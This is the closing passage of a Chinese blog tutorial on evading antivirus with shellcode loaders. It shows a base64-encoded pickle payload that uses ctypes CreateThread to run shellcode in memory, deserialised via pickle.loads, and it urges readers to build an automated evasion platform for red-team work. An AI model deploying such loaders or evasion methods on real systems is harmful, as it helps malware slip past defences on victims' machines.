+S7jnNoZWxsY29kZemYsuatouS9jee9rummluWcsOWdgOW8gOWni+aJp+ihjApoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZCgKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMuY19pbnQoMCksIAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMucG9pbnRlcihjdHlwZXMuY19pbnQoMCkpCikKIyDnrYnlvoXkuIrpnaLliJvlu7rnmoTnur/nqIvov5DooYzlrowKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkpcQGFcQJScQMu'
pickle.loads(base64.b64decode(shellcode))
否则生成的程序会闪退,无法正常上线。
检测结果如下:
打造自动化免杀平台
根据上文我们介绍过的内容,相信你也可以组合代码构造一个自动化免杀平台,这样在之后的测试以及红队项目上就可以快人一步,旗开得胜,这里主要思路上文均已展开,后文不再赘述。
后记
在本次研究过程中,参考了很多师傅的资料与分享,总结了一下思路,其中有一些问题还需要解决,Python
语言作为胶水语言,理解起来比较方便,因此我们这里也是用Python
举了一个例子,但是迎面而来的也有一些问题,例如生成的可执行程序体积较大、Python
环境以及相应包的导入问题、形如Pyinstaller
本身已经被部分杀软标记特征等,希望大家可以了解其中的思路与技巧后举一反三,收获更多的技巧与知识~
参考链接:
1. https://www.cnblogs.com/-chenxs/p/12318448.html
2. https://github.com/TideSec/BypassAntiVirus
3. https://www.cnblogs.com/Akkuman/p/11851057.html
4. http://www.vuln.cn/8094
5. https://pyzh.readthedocs.io/en/latest/python-magic-methods-guide.html
6. https://mp.weixin.qq.com/s/c7gA4AeFWxMiTW-jN1BijQ
本文始发于微信公众号(谢公子学安全):利用加载器以及Python反序列化绕过AV
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论